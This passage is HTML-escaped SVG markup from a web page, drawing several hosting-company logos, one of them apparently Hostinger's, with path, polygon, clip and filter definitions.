                            &lt;path class=&quot;cls-2&quot; d=&quot;M448.5,217.3c-9.3,0-17.7-1.9-25.1-5.6-7.5-3.8-13.3-9.1-17.5-15.9l-.5,17.4h-35L370.1,0h36.6v95c9.7-13.3,24.2-20,43.5-20s22.3,2.9,31.7,8.7c9.4,5.8,16.8,14.1,22.3,24.8,5.4,10.8,8.2,23.2,8.2,37.2s-2.7,24.9-8,35.7-12.9,19.5-22.7,26.1c-9.9,6.5-21,9.8-33.2,9.8M440.3,184.7c10.5,0,19.1-3.6,25.6-10.8,6.6-7.2,9.9-16.4,9.8-27.6,0-11.4-3.4-20.7-10-27.9-6.7-7.2-15.2-10.8-25.5-10.8s-18.9,3.6-25.5,10.8c-6.7,7.2-10,16.5-10,27.9s3.3,20.4,9.9,27.6c6.6,7.2,15.2,10.8,25.7,10.8&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M529.3,79.1h35l.5,17.4c9.1-14.4,23.9-21.6,44.5-21.6s22.3,2.9,31.7,8.7c9.4,5.8,16.8,14.1,22.3,24.8,5.4,10.8,8.2,23.2,8.2,37.2s-2.7,24.9-8,35.7-12.9,19.5-22.7,26.1-20.9,9.9-33.1,9.9-17-1.7-24.2-5.1c-7.2-3.4-13-8.3-17.4-14.6v80c0,0-36.5,0-36.5,0l-.3-198.5ZM599.4,184.5c10.5,0,19.1-3.6,25.6-10.8,6.6-7.2,9.9-16.4,9.8-27.6,0-11.4-3.4-20.7-10-27.9-6.7-7.2-15.2-10.8-25.5-10.8s-18.9,3.6-25.5,10.8c-6.7,7.2-10,16.5-10,27.9s3.3,20.4,9.9,27.6c6.6,7.3,15.2,10.8,25.7,10.8&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M689.5,79h35.3l.3,22.1c3.7-7.9,8.6-13.9,14.8-18.2,6.2-4.2,13.5-6.3,21.7-6.3s10.8,1,15.5,2.9l-3.1,34.5c-5.4-2.1-10.9-3.1-16.3-3.1-10,0-17.8,3.6-23.3,10.8-5.5,7.2-8.3,17.3-8.3,30.3v61h-36.6V79Z&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M854.1,217c-13.2,0-25.2-3-36.2-8.9s-19.7-14.4-26.2-25.2c-6.5-10.9-9.8-23.2-9.8-37.1s3-24.6,9-35.4,14.6-19.4,25.6-25.9,23.5-9.8,37.3-9.8,25.2,2.9,36.2,8.8,19.7,14.2,26.2,25.1,9.8,23.2,9.8,37.1-3,24.9-9,35.7-14.6,19.4-25.6,25.9c-11,6.4-23.4,9.7-37.3,9.7M854.1,184.3c10.3,0,18.9-3.6,25.5-10.8,6.7-7.2,10-16.5,10-27.9s-3.3-20.4-9.9-27.6c-6.6-7.2-15.1-10.8-25.7-10.8s-19.1,3.6-25.6,10.8c-6.6,7.2-9.8,16.4-9.8,27.6s3.4,20.7,10,27.9c6.6,7.3,15.1,10.8,25.5,10.8&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M989.6,216.9c-10.2,0-19.8-1.2-29-3.5-9.1-2.4-16.1-5.5-21.1-9.3l4.4-29.7c6,4,12.9,7.3,20.9,9.7,8,2.5,15.7,3.7,23,3.7,14.9,0,22.4-3.8,22.4-11.3s-1.6-7.1-4.7-9.2c-3.2-2.1-9.7-4.6-19.7-7.4-15.8-4.4-27.1-9.9-33.8-16.7-6.8-6.7-10.1-15.8-10.2-27.2,0-12.8,4.8-22.9,14.4-30.3,9.6-7.4,22.9-11.1,39.7-11.1s16.5,1,24.7,2.9c8.2,1.9,15,4.5,20.3,7.6l-4.2,29c-5.4-3.2-11.7-5.6-18.8-7.5-7.1-1.8-13.9-2.7-20.4-2.7-12.8,0-19.2,3.4-19.2,10.3s1.5,6.9,4.6,9.1,9.2,4.6,18.3,7.2c16.8,4.9,28.7,10.7,35.7,17.3,6.9,6.7,10.4,15.9,10.4,27.6s-5.1,23.2-15.4,30.5c-10.1,7.2-24.2,10.9-42.3,11&quot;&gt;&lt;/path&gt;
                        &lt;/g&gt;
                        &lt;path class=&quot;cls-2&quot; d=&quot;M1078,94.2c-3.4,0-6.5-.8-9.4-2.4s-5.2-3.9-7-6.8-2.7-6.2-2.7-9.8.8-6.5,2.4-9.4c1.6-2.8,3.9-5.2,6.8-6.9,2.9-1.8,6.2-2.6,9.8-2.6s6.6.8,9.4,2.4c2.9,1.6,5.2,3.9,6.9,6.8,1.7,2.9,2.6,6.2,2.6,9.8s-.8,6.5-2.4,9.4-3.9,5.2-6.8,7c-2.7,1.6-6,2.5-9.6,2.5ZM1078,90.8c2.8,0,5.3-.7,7.6-2,2.3-1.3,4.2-3.2,5.7-5.6,1.4-2.4,2.2-5.1,2.2-8.1s-.7-5.4-2-7.8-3.2-4.3-5.5-5.7c-2.4-1.4-5-2.2-8-2.2s-5.3.7-7.6,2c-2.3,1.3-4.2,3.2-5.7,5.6-1.4,2.4-2.2,5.1-2.2,8.1s.7,5.4,2,7.8,3.2,4.3,5.5,5.7c2.4,1.5,5.1,2.2,8,2.2ZM1071.6,65.6h6.1c2.2,0,4,.5,5.2,1.5,1.3,1,1.9,2.4,1.9,4.2s-1.1,4.3-3.2,5.2l4.5,7.2h-3.8l-4-6.6h-3.5v6.6h-3.2v-18.1ZM1074.9,74.4h2.5c1.4,0,2.5-.2,3.1-.7s.9-1.2.9-2.3c0-1.9-1.3-2.9-4-2.9h-2.6v5.9h0Z&quot;&gt;&lt;/path&gt;
                    &lt;/g&gt;
                &lt;/g&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; version=&quot;1.1&quot; id=&quot;Layer_1&quot; x=&quot;0px&quot; y=&quot;0px&quot; viewBox=&quot;0 0 1024.2 210.1&quot; style=&quot;enable-background:new 0 0 1024.2 210.1;&quot; xml:space=&quot;preserve&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;path id=&quot;Path_27&quot; class=&quot;st0&quot; d=&quot;M203.5,9.6C179-5.7,146.7-2.1,117.9,16C89.2-2.1,56.9-5.7,32.4,9.6C-6.3,33.8-11,96.2,21.9,148.9  c24.3,38.9,62.2,61.6,96.1,61.2c33.8,0.4,71.8-22.4,96.1-61.2C246.9,96.2,242.3,33.8,203.5,9.6z M39.7,137.7  c-6.8-10.8-11.9-22.5-15.2-34.8c-2.9-10.7-4-21.8-3.3-32.8c1.5-19.5,9.4-34.7,22.3-42.7s30-8.6,48.2-1.3c2.7,1.1,5.4,2.3,8.1,3.7  C89.7,39,81,49.6,73.7,61.2c-20,32-26.1,67.6-19.1,96C49.1,151.2,44.1,144.7,39.7,137.7L39.7,137.7z M211.4,102.9  c-3.3,12.3-8.4,24-15.2,34.8c-4.3,7-9.3,13.5-14.9,19.5c6.2-25.4,2-56.6-13.3-85.9c-1-1.9-3.3-2.7-5.2-1.7c-0.1,0.1-0.2,0.1-0.3,0.2  l-47.7,29.8c-1.8,1.1-2.4,3.5-1.2,5.4c0,0,0,0,0,0l7,11.2c1.1,1.8,3.5,2.4,5.4,1.2c0,0,0,0,0,0l30.9-19.3c1,3,2,6,2.8,9  c2.9,10.7,4,21.7,3.3,32.8c-1.5,19.5-9.4,34.6-22.3,42.7c-6.7,4.1-14.3,6.3-22.1,6.4h-1c-7.8-0.1-15.4-2.3-22.1-6.4  c-12.9-8.1-20.9-23.2-22.3-42.7c-0.7-11,0.4-22.1,3.3-32.8c6.7-24.7,20.6-46.9,39.8-63.7c8.3-7.3,17.8-13.2,28-17.3  c18.1-7.2,35.2-6.7,48.2,1.3s20.9,23.2,22.3,42.7C215.4,81.2,214.3,92.2,211.4,102.9z M457.6,79.7c-25.1,0-45.4,19.6-45.4,44.5  c0,24.7,20.3,44,45.4,44c25.2,0,45.5-19.2,45.5-44C503.2,99.3,482.9,79.7,457.6,79.7L457.6,79.7z M457.6,144.9  c-11.6,0-20.4-9.4-20.4-20.9s8.8-21,20.4-21c11.7,0,20.5,9.5,20.5,21.1S469.4,144.9,457.6,144.9L457.6,144.9z M559.7,45.5h-46.1  c-2,0-3.7,1.6-3.8,3.6c0,0.1,0,0.1,0,0.2v112.5c-0.1,2.1,1.4,3.8,3.5,4c0.1,0,0.2,0,0.3,0h46.2c36.9,0,62.6-24.6,62.6-60.3  C622.3,69.5,596.6,45.5,559.7,45.5z M560.8,142h-25.2V69.2h25.2c20.4,0,34.5,15.3,34.5,36.3C595.3,126.1,581.2,142,560.8,142z   M714.2,82.1h-17.3c-2,0.2-3.5,1.8-3.6,3.8V91c-4-6.5-12.9-11.3-24-11.3c-21.6,0-41.9,17-41.9,44.1c0,27,20.1,44.3,41.7,44.3  c11.2,0,20.3-4.8,24.2-11.3v5.3c0,2,1.6,3.6,3.6,3.6h17.3c1.9,0,3.6-1.5,3.6-3.4c0-0.1,0-0.1,0-0.2V85.9c0.1-2-1.5-3.7-3.6-3.8  C714.2,82.1,714.2,82.1,714.2,82.1z M673.8,145.1c-11.5,0-20.1-8.8-20.1-21.1s8.6-21.1,20.1-21.1s20.1,8.8,20.1,21.1  S685.3,145.1,673.8,145.1L673.8,145.1z M811.6,45.5h-17.3c-2-0.1-3.7,1.5-3.8,3.5c0,0,0,0,0,0.1v41.6c-4-6.2-13.1-11-24.4-11  c-21.5,0-41.4,17-41.4,44.1c0,27,20.1,44.3,41.7,44.3c11.2,0,19.6-4.8,24.2-11.3v5.3c0,2,1.6,3.6,3.6,3.6h17.3  c1.9,0.1,3.6-1.5,3.6-3.4c0-0.1,0-0.1,0-0.2v-113c0.1-1.9-1.5-3.6-3.4-3.6C811.7,45.5,811.6,45.5,811.6,45.5L811.6,45.5z   M771.2,145.3c-11.4,0-20-8.9-20-21.3s8.6-21.3,20-21.3s20,8.9,20,21.3S782.6,145.3,771.2,145.3z M908.9,45.5h-17.3  c-2-0.1-3.7,1.5-3.8,3.6c0,0,0,0,0,0.1v41.6c-4-6.2-13.1-11-24.4-11c-21.5,0-41.4,17-41.4,44.1c0,27,20.1,44.3,41.7,44.3  c11.2,0,19.6-4.8,24.2-11.3v5.3c0,2,1.6,3.6,3.6,3.6h17.3c1.9,0.1,3.5-1.5,3.6-3.4c0-0.1,0-0.1,0-0.2v-113c0.1-1.9-1.4-3.6-3.4-3.6  C909.1,45.5,909,45.5,908.9,45.5z M868.6,145.3c-11.5,0-20-8.9-20-21.3s8.6-21.3,20-21.3s20,8.9,20,21.3S880,145.3,868.6,145.3  L868.6,145.3z M1003.9,87.9L978,176.7c-5,15.8-16.2,25.2-33.5,25.2c-7.9,0-15.1-1.6-20.7-4.8c-3.3-1.9-6-3.6-6-6.3  c0-1.7,0.5-2.6,1.5-4.2l5.1-7.7c1.5-2.1,2.5-2.9,4.1-2.9c1.2,0,2.4,0.4,3.4,1.2c3.2,2.1,6.2,3.9,10.8,3.9c5.3,0,9.4-1.7,11.6-8.1  l2.2-7.4h-10.5c-2.2,0.1-4.2-1.4-4.6-3.6l-23.2-74.2c-0.9-2.9-0.1-5.8,4.2-5.8h18.2c2.2,0,3.8,0.8,4.8,3.9l17.1,59.8l16-59.8  c0.5-2.1,1.9-3.9,4.6-3.9h17.3C1004.1,82.1,1005.1,84.5,1003.9,87.9z M405.8,114.3v47.4c0,2.1-1.7,3.9-3.8,3.9c0,0-0.1,0-0.1,0  h-14.3c-2.1,0-3.9-1.7-3.9-3.8c0,0,0-0.1,0-0.1v-12.4c-9.1,11.5-24.9,18.7-42.8,18.7c-33.6,0-59.8-25.3-59.8-61.2  c0-37.4,28.3-63.1,64.1-63.1c26.4,0,47.5,11.4,56.9,34.2c0.3,0.6,0.4,1.3,0.4,1.9c0,1.1-0.7,1.9-3,2.7l-16.7,6.4  c-1,0.4-2.1,0.4-3.2,0.1c-0.9-0.5-1.6-1.3-2-2.3c-6-11.4-16.7-19.2-33.1-19.2c-21.3,0-36.6,16.7-36.6,38.2c0,20.9,13,38.1,37.2,38.1  c12.7,0,22.9-6,27.6-12.6h-15.1c-2.1,0-3.9-1.7-3.9-3.8c0,0,0-0.1,0-0.1v-12.9c0-2.1,1.7-3.9,3.8-3.9c0,0,0.1,0,0.1,0h44.2  c2.1-0.1,3.8,1.5,3.9,3.5C405.8,114.2,405.8,114.3,405.8,114.3L405.8,114.3z M1004.4,64.5v-1.2c0-0.1,0-0.2,0.1-0.2  c0.1-0.1,0.1-0.1,0.2-0.1h7.3c0.1,0,0.2,0,0.2,0.1c0.1,0.1,0.1,0.1,0.1,0.2v1.2c0,0.1,0,0.2-0.1,0.2c-0.1,0.1-0.1,0.1-0.2,0.1h-2.7  V72c0,0.2-0.1,0.3-0.3,0.3h-1.4c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2v-7.2h-2.7C1004.5,64.8,1004.4,64.7,1004.4,64.5  C1004.4,64.5,1004.4,64.5,1004.4,64.5L1004.4,64.5z M1017.2,63.3l2,4.6l2-4.6c0-0.1,0.1-0.2,0.2-0.2c0.1,0,0.2-0.1,0.3-0.1h2.3  c0.1,0,0.3,0.1,0.3,0.2c0,0,0,0,0,0V72c0,0.1-0.1,0.3-0.2,0.3c0,0,0,0,0,0h-1.3c-0.1,0-0.2,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2v-6.6  l-2.2,4.8c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2,0.1-0.3,0.1h-1.1c-0.1,0-0.2,0-0.3-0.1c-0.1-0.1-0.1-0.1-0.2-0.2l-2.1-4.8V72  c0,0.2-0.1,0.3-0.3,0.3c0,0,0,0,0,0h-1.3c-0.2,0-0.3-0.1-0.3-0.3c0,0,0,0,0,0v-8.7c0-0.1,0.1-0.3,0.3-0.3c0,0,0,0,0,0h2.2  c0.1,0,0.2,0,0.3,0.1C1017.1,63.2,1017.2,63.3,1017.2,63.3L1017.2,63.3z&quot;&gt;&lt;/path&gt;
        &lt;/svg&gt;
        &lt;svg fill=&quot;none&quot; class=&quot;a-fade-up block-hosts-logos__image&quot; viewBox=&quot;0 0 164 30&quot; width=&quot;164&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;
            &lt;clipPath id=&quot;a&quot;&gt;
                &lt;path d=&quot;m0 0h164v30h-164z&quot;/&gt;
            &lt;/clipPath&gt;
            &lt;g clip-path=&quot;url(#a)&quot;&gt;
                &lt;g fill=&quot;#000&quot;&gt;
                    &lt;path d=&quot;m149.34 15.0719c0-4.3726 2.943-7.4259 7.176-7.4259s7.146 2.8884 7.146 7.4559v1.0944l-10.174.0549c.25 1.849 1.289 2.7185 3.193 2.7185 1.624 0 2.774-.5897 3.083-1.5992h3.953c-.505 3.1084-3.278 5.1023-7.116 5.1023-4.233 0-7.256-3.0832-7.256-7.3959zm4.203-1.4842h5.826c0-1.4842-1.094-2.4387-2.828-2.4387s-2.663.7547-2.998 2.4387z&quot;/&gt;
                    &lt;path d=&quot;m133.509 22.103v-14.01228h4.063l.28 1.45923c.869-1.20433 2.463-1.90395 4.287-1.90395 3.334 0 5.267 2.1288 5.267 5.8018v8.6601h-4.318v-7.6207c0-1.764-.979-2.9134-2.463-2.9134-1.709 0-2.803 1.1194-2.803 2.8584v7.6757h-4.318z&quot;/&gt;
                    &lt;path d=&quot;m123.704 7.6709c4.458 0 7.706 2.9683 7.706 7.3959s-3.248 7.3709-7.706 7.3709c-4.457 0-7.735-2.9433-7.735-7.3709s3.248-7.3959 7.735-7.3959zm0 10.8989c1.989 0 3.364-1.3992 3.364-3.533s-1.375-3.503-3.364-3.503c-1.988 0-3.393 1.3991-3.393 3.503 0 2.1038 1.375 3.533 3.393 3.533z&quot;/&gt;
                    &lt;path d=&quot;m108.848 20.029c0-1.3643 1.144-2.4787 2.508-2.4787 1.365 0 2.509 1.1144 2.509 2.4787 0 1.3641-1.144 2.4485-2.509 2.4485-1.364 0-2.508-1.1143-2.508-2.4485z&quot;/&gt;
                    &lt;path d=&quot;m92.1269 8.40055h2.3836l.1949 2.46865c.9246-1.879 2.7735-2.85846 4.9576-2.85846 3.922 0 6.361 2.94336 6.361 7.14606s-2.299 7.3109-6.361 7.3109c-2.1841 0-4.0079-.9244-4.9027-2.6036v8.3805h-2.6334zm6.9762 11.68355c2.6889 0 4.2869-2.0188 4.2869-4.8224 0-2.8034-1.598-4.8473-4.2869-4.8473-2.6883 0-4.3177 1.9889-4.3177 4.8473 0 2.8585 1.6243 4.8224 4.3177 4.8224z&quot;/&gt;
                    &lt;path d=&quot;m88.8787 8.40051v13.70239h-2.3535l-.28-2.0737c-.7846 1.4292-2.6034 2.4085-4.6226 2.4085-3.1931 0-4.987-2.1587-4.987-5.522v-8.52019h2.6334v7.65079c0 2.9434 1.259 4.0627 3.2782 4.0627 2.4087 0 3.728-1.5392 3.728-4.4825v-7.23099h2.6035z&quot;/&gt;
                    &lt;path d=&quot;m67.6653 8.03564c4.0928 0 7.116 2.96836 7.116 7.20106 0 4.2326-3.0282 7.2009-7.116 7.2009-4.0874 0-7.1458-2.9683-7.1458-7.2009 0-4.2327 3.0284-7.20106 7.1458-7.20106zm0 12.04836c2.6339 0 4.4826-1.989 4.4826-4.8473 0-2.8584-1.8487-4.8474-4.4826-4.8474-2.6335 0-4.4823 1.989-4.4823 4.8474 0 2.8583 1.8188 4.8473 4.4823 4.8473z&quot;/&gt;
                    &lt;path d=&quot;m60.0147 10.6992h-1.1795c-2.4934 0-4.0328 1.5141-4.0328 4.1477v7.256h-2.6334v-13.67247h2.4684l.17 2.07387c.5598-1.42924 1.9342-2.38369 3.8129-2.38369.4749 0 .8697.05496 1.3995.16986v2.40873z&quot;/&gt;
                    &lt;path d=&quot;m41.5798 8.01074c2.2138 0 3.9228 1.00944 4.7923 2.71846l.1951-2.32365h2.3536v13.14265c0 4.3177-2.6634 7.0612-6.8662 7.0612-3.7279 0-6.2766-2.1038-6.7813-5.5769h2.6336c.3348 2.0188 1.849 3.1933 4.1477 3.1933 2.5787 0 4.2577-1.6792 4.2577-4.2877v-2.7486c-.8946 1.5992-2.6885 2.5487-4.8474 2.5487-3.8928 0-6.3614-2.9983-6.3614-6.8363 0-3.8378 2.4936-6.89116 6.4714-6.89116zm.335 11.43376c2.6634 0 4.2875-1.904 4.2875-4.5975s-1.569-4.5375-4.2575-4.5375c-2.6886 0-4.2028 2.0189-4.2028 4.5375s1.5992 4.5975 4.1728 4.5975z&quot;/&gt;
                &lt;/g&gt;
                &lt;path d=&quot;m25.4038 6.50661-10.6891-6.171579c-.7745-.444755-1.724-.444755-2.4986 0l-10.68407 6.171579c-.774579.44477-1.249315 1.26929-1.249315 2.16383v12.33816c0 .8946.474736 1.719 1.249315 2.1637l10.68407 6.1717c.7746.4447 1.7241.4447 2.4986 0l10.6842-6.1717c.7746-.4447 1.2492-1.2691 1.2492-2.1637v-12.33816c0-.89454-.4746-1.71906-1.2492-2.16383zm-1.749 14.21209-10.1844 5.8818-10.18434-5.8818v-11.76342l10.17934-5.88177 10.1845 5.88177v11.76342z&quot; fill=&quot;#fec600&quot;/&gt;
                &lt;path d=&quot;m7.29381 10.404c-.46472.2699-.74956.7646-.74956 1.2993v6.2665c0 .5347.28484 1.0295.74956 1.2993l5.42699 3.1333c.4647.2698 1.0345.2698 1.4992 0l5.4271-3.1333c.4646-.2698.7495-.7646.7495-1.2993v-6.2665c0-.5347-.2849-1.0294-.7495-1.2993l-5.4271-3.13323c-.4647-.26988-1.0345-.26988-1.4992 0z&quot; fill=&quot;#fec600&quot;/&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
        &lt;svg class=&quot;a-fade-up block-hosts-logos__image&quot; viewBox=&quot;0 0 130 26&quot; version=&quot;1.1&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;
            &lt;title&gt;
                logo/affiliate/hostinger            &lt;/title&gt;
            &lt;defs&gt;
                &lt;filter id=&quot;filter-1&quot;&gt;
                    &lt;feColorMatrix in=&quot;SourceGraphic&quot; type=&quot;matrix&quot; values=&quot;0 0 0 0 0.509804 0 0 0 0 0.549020 0 0 0 0 0.494534 0 0 0 1.000000 0&quot;&gt;&lt;/feColorMatrix&gt;
                &lt;/filter&gt;
            &lt;/defs&gt;
            &lt;g id=&quot;Website&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;
                &lt;g id=&quot;For-hosts&quot; transform=&quot;translate(-155.000000, -2713.000000)&quot;&gt;
                    &lt;g id=&quot;/logo/affiliate/hostinger&quot; transform=&quot;translate(155.000000, 2713.000000)&quot;&gt;
                        &lt;g id=&quot;hostinger&quot; fill=&quot;#828C7E&quot; fill-rule=&quot;nonzero&quot;&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;39.0965467 7.71179067 41.53526 7.71179067 41.53526 18.51304 39.0965467 18.51304 39.0965467 13.9307133 35.00094 13.9307133 35.00094 18.51304 32.5622267 18.51304 32.5622267 7.71179067 35.00094 7.71179067 35.00094 11.8418733 39.0965467 11.8418733&quot;&gt;&lt;/polygon&gt;
                            &lt;path d=&quot;M47.2289133,13.10478 C47.2289133,13.6344 47.2938267,14.1123667 47.4240867,14.5385067 C47.5543467,14.9647333 47.7421533,15.3309 47.98716,15.6373533 C48.23156,15.94424 48.5314267,16.1802333 48.88598,16.3463733 C49.2401,16.5130333 49.6463933,16.59632 50.1052067,16.59632 C50.5531,16.59632 50.9570533,16.5130333 51.3168067,16.3463733 C51.6759533,16.1802333 51.9785067,15.94424 52.22308,15.6373533 C52.4679133,15.3309 52.6558933,14.9647333 52.7861533,14.5385067 C52.9164133,14.1123667 52.9815867,13.6344 52.9815867,13.10478 C52.9815867,12.5745533 52.9164133,12.0939867 52.7861533,11.6626467 C52.6558933,11.2315667 52.4679133,10.8629733 52.22308,10.5561733 C51.9785067,10.24972 51.6759533,10.0130333 51.3168067,9.84715333 C50.9570533,9.68084 50.5531,9.59781333 50.1052067,9.59781333 C49.6463933,9.59781333 49.2401,9.68344 48.88598,9.85478 C48.5314267,10.0262933 48.23156,10.2654067 47.98716,10.5720333 C47.7421533,10.8784867 47.5543467,11.2472533 47.4240867,11.6783333 C47.2938267,12.1098467 47.2289133,12.5852133 47.2289133,13.10478 Z M55.4986467,13.10478 C55.4986467,14.02934 55.3603267,14.8427067 55.0847267,15.5436667 C54.8081733,16.2452333 54.43022,16.8323133 53.9511267,17.3049067 C53.4717733,17.77802 52.9010733,18.1337 52.2393733,18.3725533 C51.57776,18.6119267 50.8662267,18.7313533 50.1058133,18.7313533 C49.36568,18.7313533 48.6677533,18.6119267 48.01108,18.3725533 C47.3544933,18.1337 46.7811067,17.77802 46.2915267,17.3049067 C45.8014267,16.8323133 45.41628,16.2452333 45.1347867,15.5436667 C44.8534667,14.8427067 44.71246,14.02934 44.71246,13.10478 C44.71246,12.1798733 44.8584933,11.36668 45.1503,10.6655467 C45.4418467,9.96398 45.8355733,9.37421333 46.3306133,8.89624667 C46.8253067,8.41828867 47.3986067,8.05998267 48.0502533,7.82089533 C48.7012067,7.58159133 49.3866533,7.46193933 50.1058133,7.46193933 C50.8455133,7.46193933 51.5436133,7.58159133 52.20046,7.82089533 C52.8568733,8.05998267 53.43,8.41828867 53.91984,8.89624667 C54.4095067,9.37421333 54.79526,9.96398 55.07658,10.6655467 C55.35816,11.36668 55.4986467,12.1798733 55.4986467,13.10478 Z&quot; id=&quot;Shape&quot;&gt;&lt;/path&gt;
                            &lt;path d=&quot;M61.63066,16.6583733 C61.9745533,16.6583733 62.2584733,16.6300333 62.4825067,16.5724867 C62.70654,16.5156333 62.88646,16.4378067 63.0217467,16.3384 C63.1570333,16.24012 63.2510667,16.1232933 63.3033267,15.98818 C63.3555,15.85324 63.3815867,15.70244 63.3815867,15.5361267 C63.3815867,15.1830467 63.21458,14.8890733 62.8811733,14.65568 C62.54768,14.4215933 61.9745533,14.1698267 61.1617933,13.8991667 C60.8073267,13.7749733 60.4529467,13.6317133 60.0986533,13.47086 C59.74436,13.3100933 59.4264667,13.10738 59.1451467,12.8630667 C58.8640867,12.6189267 58.6345933,12.3227867 58.4575333,11.9742133 C58.2802133,11.62642 58.1917267,11.20314 58.1917267,10.7042867 C58.1917267,10.2054333 58.2855,9.75598 58.4730467,9.35601333 C58.6607667,8.95587333 58.9264,8.615906 59.2704667,8.334976 C59.6142733,8.05426267 60.03088,7.83914733 60.52072,7.68810467 C61.01056,7.53772067 61.5627133,7.46187867 62.1777867,7.46187867 C62.90726,7.46187867 63.5378467,7.540338 64.06946,7.69595667 C64.6005533,7.85178333 65.0383933,8.02353067 65.3822,8.21052267 L64.6790733,10.1276067 C64.37652,9.97178 64.04034,9.83398 63.6707067,9.71438 C63.30064,9.59512667 62.8551733,9.53498 62.3343067,9.53498 C61.75052,9.53498 61.3310533,9.6161 61.0757333,9.77695333 C60.8204133,9.93798 60.6924933,10.1848933 60.6924933,10.5170867 C60.6924933,10.7147733 60.7397267,10.88126 60.8335,11.01594 C60.9271,11.1510533 61.06022,11.27308 61.2319933,11.38228 C61.4040267,11.4913067 61.60206,11.5901933 61.8263533,11.6782467 C62.0499533,11.7667333 62.29756,11.8574733 62.5688267,11.9509 C63.1312933,12.1590733 63.6211333,12.3641267 64.0381733,12.56684 C64.45478,12.7695533 64.8014467,13.00598 65.07774,13.2760333 C65.3536,13.5460867 65.55952,13.8632 65.69524,14.22694 C65.8303533,14.59094 65.8983,15.0322467 65.8983,15.55138 C65.8983,16.5594 65.5437467,17.3413933 64.83516,17.8971867 C64.1264867,18.4534133 63.0582333,18.7315267 61.63066,18.7315267 C61.1513067,18.7315267 60.7187533,18.7027533 60.3331733,18.64564 C59.9475933,18.5880933 59.6063867,18.5181533 59.30938,18.43504 C59.01246,18.3520133 58.7569667,18.2637867 58.54316,18.1702733 C58.3296133,18.0765867 58.1499533,17.9885333 58.00392,17.9050733 L58.6920533,15.9724933 C59.0147133,16.1494667 59.41338,16.30772 59.8879667,16.4476 C60.36186,16.5881733 60.9430467,16.6583733 61.63066,16.6583733 Z&quot; id=&quot;Path&quot;&gt;&lt;/path&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;76.6416733 7.71185133 76.6416733 9.78492667 73.3745133 9.78492667 73.3745133 18.5131267 70.9359733 18.5131267 70.9359733 9.78492667 67.66864 9.78492667 67.66864 7.71185133&quot;&gt;&lt;/polygon&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;79.35018 18.5133867 81.7888933 18.5133867 81.7888933 7.71189467 79.35018 7.71189467&quot;&gt;&lt;/polygon&gt;
                            &lt;path d=&quot;M92.7047333,18.5131267 C92.0070667,17.27674 91.2513333,16.0559533 90.4384,14.8503333 C89.6254667,13.6448 88.7605333,12.5071267 87.8436,11.4367933 L87.8436,18.5131267 L85.436,18.5131267 L85.436,7.71187733 L87.4215333,7.71187733 C87.7647333,8.054488 88.1452,8.47535 88.5620667,8.97424667 C88.9789333,9.4731 89.4036,10.0057533 89.8360667,10.5720333 C90.2685333,11.1382267 90.6984,11.7253933 91.1256667,12.3330133 C91.5529333,12.9408933 91.9542,13.5252 92.3294667,14.0863667 L92.3294667,7.71187733 L94.7526667,7.71187733 L94.7526667,18.5131267 L92.7047333,18.5131267 Z&quot; id=&quot;Path&quot;&gt;&lt;/path&gt;
                            &lt;path d=&quot;M103.6828,9.58221333 C102.547467,9.58221333 101.725867,9.89646667 101.2206,10.52506 C100.715333,11.1538267 100.463133,12.0133867 100.463133,13.1048667 C100.463133,13.6343133 100.524667,14.1153133 100.650333,14.5463933 C100.775133,14.9773 100.9632,15.3486667 101.2128,15.66058 C101.463267,15.9724067 101.775267,16.21412 102.150533,16.3856333 C102.5258,16.5569733 102.963467,16.6426 103.463533,16.6426 C103.7348,16.6426 103.967067,16.6374 104.159467,16.6271733 C104.351867,16.61686 104.521733,16.5962333 104.667333,16.5647733 L104.667333,12.8087267 L107.106133,12.8087267 L107.106133,18.15476 C106.814067,18.26916 106.3452,18.3910133 105.699533,18.5206667 C105.053,18.65032 104.255667,18.7157533 103.307533,18.7157533 C102.4946,18.7157533 101.757067,18.5908667 101.0958,18.3417 C100.433667,18.0919267 99.8686,17.72862 99.3997333,17.25048 C98.9308667,16.7726867 98.5686,16.1853467 98.3129333,15.48924 C98.0572667,14.7935667 97.9298667,13.9984867 97.9298667,13.1048667 C97.9298667,12.2006733 98.0711333,11.4005667 98.3528,10.7042 C98.6336,10.0082667 99.0184,9.41806667 99.5089333,8.93516 C99.9986,8.45194133 100.574067,8.085792 101.2362,7.83646067 C101.898333,7.58691267 102.6038,7.46180933 103.354333,7.46180933 C103.8648,7.46180933 104.325867,7.49602533 104.737533,7.563374 C105.1492,7.631156 105.503667,7.70896533 105.800933,7.797452 C106.0982,7.88549667 106.3426,7.976384 106.535867,8.07009667 C106.728267,8.16360133 106.866067,8.23660933 106.950133,8.288488 L106.2464,10.23646 C105.912733,10.05992 105.529667,9.90695333 105.0972,9.77686667 C104.664733,9.64695333 104.193267,9.58221333 103.6828,9.58221333 Z&quot; id=&quot;Path&quot;&gt;&lt;/path&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;110.5182 18.5131267 110.5182 7.71187733 117.8346 7.71187733 117.8346 9.75364 112.957 9.75364 112.957 11.87316 117.286867 11.87316 117.286867 13.8684867 112.957 13.8684867 112.957 16.4714333 118.194267 16.4714333 118.194267 18.5131267&quot;&gt;&lt;/polygon&gt;
